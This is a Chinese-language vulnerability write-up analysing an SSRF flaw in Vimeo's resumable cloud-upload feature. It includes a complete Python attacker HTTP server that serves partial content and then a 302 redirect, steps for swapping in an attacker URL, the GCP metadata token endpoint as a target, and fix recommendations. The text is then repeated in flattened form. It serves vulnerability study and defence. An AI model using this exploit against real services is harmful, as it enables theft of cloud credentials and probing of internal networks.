Vimeo视频断点续传功能导致的SSRF漏洞复现
字数 1283 2025-08-25 22:58:20

Vimeo视频断点续传功能导致的SSRF漏洞分析与复现

漏洞概述

本漏洞是Vimeo视频平台在实现云上传视频功能时,由于断点续传机制处理不当导致的服务器端请求伪造(SSRF)漏洞。攻击者可以利用此漏洞让Vimeo服务器向内部网络或其他受保护资源发起请求,从而获取敏感信息。

漏洞背景

Vimeo支持用户从Google Drive等云端存储服务上传视频文件。在实现这一功能时,Vimeo后端服务器会直接从提供的URL获取视频文件。为了支持大文件上传,系统采用了HTTP断点续传技术,但在实现过程中存在安全缺陷。

技术原理

HTTP断点续传机制

HTTP/1.1协议(RFC 2616)支持获取文件的部分内容,主要通过以下两个头部字段实现:

  1. Range请求头 - 客户端指定请求的字节范围:

    Range: bytes=0-499       // 第0-499字节
    Range: bytes=500-999     // 第500-999字节
    Range: bytes=-500        // 最后500字节
    Range: bytes=500-        // 从第500字节到文件结束
    Range: bytes=0-0,-1      // 第一个和最后一个字节
    Range: bytes=500-600,601-999  // 多个范围
    
  2. Content-Range响应头 - 服务器返回当前接受的范围和文件总大小:

    Content-Range: bytes 0-499/22400
    

服务器响应状态码:

  • 200 OK - 完整文件响应
  • 206 Partial Content - 部分内容响应(断点续传)

漏洞触发流程

  1. Vimeo服务器从攻击者提供的URL请求视频文件
  2. 攻击者服务器响应部分内容(如只返回前200字节)
  3. Vimeo服务器存储这部分内容,然后请求剩余部分
  4. 攻击者服务器响应302跳转,指向内部服务(如metadata服务)
  5. Vimeo服务器跟随跳转并获取内部服务响应
  6. 攻击者通过下载"original"视频选项获取SSRF响应内容

漏洞复现步骤

环境准备

  1. 准备一个可控的服务器(如VPS)
  2. 编写特殊的HTTP服务器代码(见下文)
  3. 准备一个Vimeo账号(可能需要高级会员以下载original视频)

攻击服务器代码示例

from http.server import BaseHTTPRequestHandler, HTTPServer

time = 3
length = 0

class testHTTPServer_RequestHandler(BaseHTTPRequestHandler):
    def __init__(self,a,b,c):
        BaseHTTPRequestHandler.__init__(self,a,b,c)
    
    def do_GET(self):
        global time,length
        print(self.headers)
        
        if time == 3:
            # 第一次响应:返回部分内容
            self.send_response(206)
            self.send_header('Content-Range','bytes 0-0/20188184')
            self.end_headers()
            time -= 1
            
        elif time == 2:
            # 第二次响应:返回部分文件内容
            with open('part1','rb') as f:
                content = f.read()
            self.send_response(200)
            self.send_header('Content-Length',len(content))
            self.end_headers()
            self.wfile.write(content)
            time -= 1
            
        elif time == 1:
            # 第三次响应:返回302跳转
            lenth = 3
            self.send_response(302)
            self.send_header('Location','http://144.202.121.185/test.txt')
            self.end_headers()
            time -= 1
            
        else:
            # 其他响应
            with open('part2','rb') as f:
                content = f.read()
            content = content[length:]
            self.send_response(200)
            self.send_header('Content-Length',len(content))
            self.end_headers()
            self.wfile.write(content)
            time =3

def run():
    port = 80
    print('Starting server, port:',port)
    server_address=('',port)
    httpd=HTTPServer(server_address,testHTTPServer_RequestHandler)
    print('Running server...')
    httpd.serve_forever()

if __name__ == '__main__':
    run()

复现过程

  1. 启动上述HTTP服务器
  2. 在Vimeo中选择"从Google Drive上传"功能
  3. 拦截上传请求,将视频URL修改为攻击者服务器地址
  4. 服务器按计划响应部分内容后返回302跳转
  5. Vimeo服务器会跟随跳转并请求指定资源
  6. 攻击者下载视频的original版本获取SSRF响应内容

漏洞利用场景

  1. 云服务元数据访问:如访问GCP的metadata服务获取临时凭证

    http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
    
  2. 内部网络探测:扫描Vimeo服务器所在内网的其他服务

  3. 敏感信息泄露:访问服务器本地的敏感文件或服务

漏洞修复建议

  1. 域名白名单:限制只能从可信的云存储服务(如Google Drive)获取文件

  2. 禁止跳转:在断点续传过程中禁止跟随302/301等跳转

  3. URL验证:严格验证用户提供的URL,禁止内部IP和特殊域名

  4. 内容验证:对下载的文件内容进行验证,确保是有效的视频文件

漏洞利用条件

  1. 后端服务器采用断点续传方式请求大文件
  2. 后端服务器从URL中直接请求文件
  3. 后端服务器会响应断点续传过程中的302跳转
  4. 攻击者能够控制或预测文件请求的URL

总结

此漏洞展示了在实现复杂功能(如断点续传)时可能引入的安全风险。开发人员在实现类似功能时,不仅需要考虑功能完整性,还需要考虑各种异常情况和安全边界。特别是当系统需要从用户提供的URL获取资源时,必须实施严格的安全控制措施。

Vimeo视频断点续传功能导致的SSRF漏洞分析与复现 漏洞概述 本漏洞是Vimeo视频平台在实现云上传视频功能时,由于断点续传机制处理不当导致的服务器端请求伪造(SSRF)漏洞。攻击者可以利用此漏洞让Vimeo服务器向内部网络或其他受保护资源发起请求,从而获取敏感信息。 漏洞背景 Vimeo支持用户从Google Drive等云端存储服务上传视频文件。在实现这一功能时,Vimeo后端服务器会直接从提供的URL获取视频文件。为了支持大文件上传,系统采用了HTTP断点续传技术,但在实现过程中存在安全缺陷。 技术原理 HTTP断点续传机制 HTTP/1.1协议(RFC 2616)支持获取文件的部分内容,主要通过以下两个头部字段实现: Range请求头 - 客户端指定请求的字节范围: Content-Range响应头 - 服务器返回当前接受的范围和文件总大小: 服务器响应状态码: 200 OK - 完整文件响应 206 Partial Content - 部分内容响应(断点续传) 漏洞触发流程 Vimeo服务器从攻击者提供的URL请求视频文件 攻击者服务器响应部分内容(如只返回前200字节) Vimeo服务器存储这部分内容,然后请求剩余部分 攻击者服务器响应302跳转,指向内部服务(如metadata服务) Vimeo服务器跟随跳转并获取内部服务响应 攻击者通过下载"original"视频选项获取SSRF响应内容 漏洞复现步骤 环境准备 准备一个可控的服务器(如VPS) 编写特殊的HTTP服务器代码(见下文) 准备一个Vimeo账号(可能需要高级会员以下载original视频) 攻击服务器代码示例 复现过程 启动上述HTTP服务器 在Vimeo中选择"从Google Drive上传"功能 拦截上传请求,将视频URL修改为攻击者服务器地址 服务器按计划响应部分内容后返回302跳转 Vimeo服务器会跟随跳转并请求指定资源 攻击者下载视频的original版本获取SSRF响应内容 漏洞利用场景 云服务元数据访问 :如访问GCP的metadata服务获取临时凭证 内部网络探测 :扫描Vimeo服务器所在内网的其他服务 敏感信息泄露 :访问服务器本地的敏感文件或服务 漏洞修复建议 域名白名单 :限制只能从可信的云存储服务(如Google Drive)获取文件 禁止跳转 :在断点续传过程中禁止跟随302/301等跳转 URL验证 :严格验证用户提供的URL,禁止内部IP和特殊域名 内容验证 :对下载的文件内容进行验证,确保是有效的视频文件 漏洞利用条件 后端服务器采用断点续传方式请求大文件 后端服务器从URL中直接请求文件 后端服务器会响应断点续传过程中的302跳转 攻击者能够控制或预测文件请求的URL 总结 此漏洞展示了在实现复杂功能(如断点续传)时可能引入的安全风险。开发人员在实现类似功能时,不仅需要考虑功能完整性,还需要考虑各种异常情况和安全边界。特别是当系统需要从用户提供的URL获取资源时,必须实施严格的安全控制措施。